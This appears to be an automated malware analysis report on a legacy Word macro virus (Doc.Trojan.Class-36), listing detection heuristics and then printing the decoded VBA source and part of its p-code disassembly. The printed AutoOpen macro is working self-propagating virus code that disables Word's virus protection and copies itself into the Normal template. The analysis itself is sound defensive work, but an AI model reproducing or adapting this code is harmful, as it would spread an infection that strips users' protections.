MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy macro virus, including WordBasic markers and VBA macros with AutoOpen and Auto_Close routines. The script attempts to infect other documents by copying its code and modifies routines, indicating a self-propagation mechanism. The presence of an embedded URL suggests potential for further malicious activity or communication.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-36
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.sunrisedoors.com In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8322 bytes |
SHA-256: e5c1ad3aa52327ef0592f867f57c0557fa9b6484b7905ec41f66cd6c206ab172 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo 73
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ties = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
tier = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If tier > 74 And ties > 0 Then GoTo 73
If tier < 74 Then
Set tvir = NormalTemplate.VBProject.VBComponents.Item(1)
ActiveDocument.VBProject.VBComponents.Item(1).Name = tvir.Name
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\tie.sys"
End If
If ties = 0 Then Set tvir = ActiveDocument.VBProject.VBComponents.Item(1)
Infection = Int(Rnd * 100)
If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(84) + Chr(105) + Chr(69) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)
If Day(Now) = 1 And (Month(Now) > 1) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)
tvir.codemodule.AddFromFile ("c:\tie.sys")
With tvir.codemodule
For x = 1 To 4
.deletelines 1
Next x
End With
If tier < 74 Then
With tvir.codemodule
.replaceline 1, "Sub AutoClose()"
.replaceline 79, "Sub ToolsMacro()"
rd1 = Int(Rnd * 25)
If rd1 = 24 Then .replaceline 67, ".replaceline x, ""'"" & Application.ActivePrinter & Application.ActiveWindow"
End With
End If
With tvir.codemodule
For x = 2 To 76 Step 2
.replaceline x, "'" & Application.UserName & Application.ActiveWindow
Next x
End With
73:
If tier > 74 And ties = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ViewVBCode()
End Sub
' Processing file: /opt/analyzer/scan_staging/a01ba6055ef24c86ae36aa17047aec3a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4221 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' OnError 73
' Line #3:
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #5:
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #7:
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #9:
' Line #10:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ties
' Line #11:
' Line #12:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St tier
' Line #13:
' Line #14:
' Ld tier
' LitDI2 0x004A
' Gt
' Ld ties
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo 73
' EndIf
' Line #15:
' Line #16:
' Ld tier
' LitDI2 0x004A
' Lt
' IfBlock
' Line #17:
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set tvir
' Line #19:
' Line #20:
' Ld tvir
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #21:
' Line #22:
' LitStr 0x000A "c:\tie.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #23:
' Line #24:
' EndIfBlock
' Line #25:
' Line #26:
' Ld ties
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set tvir
' EndIf
' Line #27:
' Line #28:
' Ld Rnd
' Lit
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.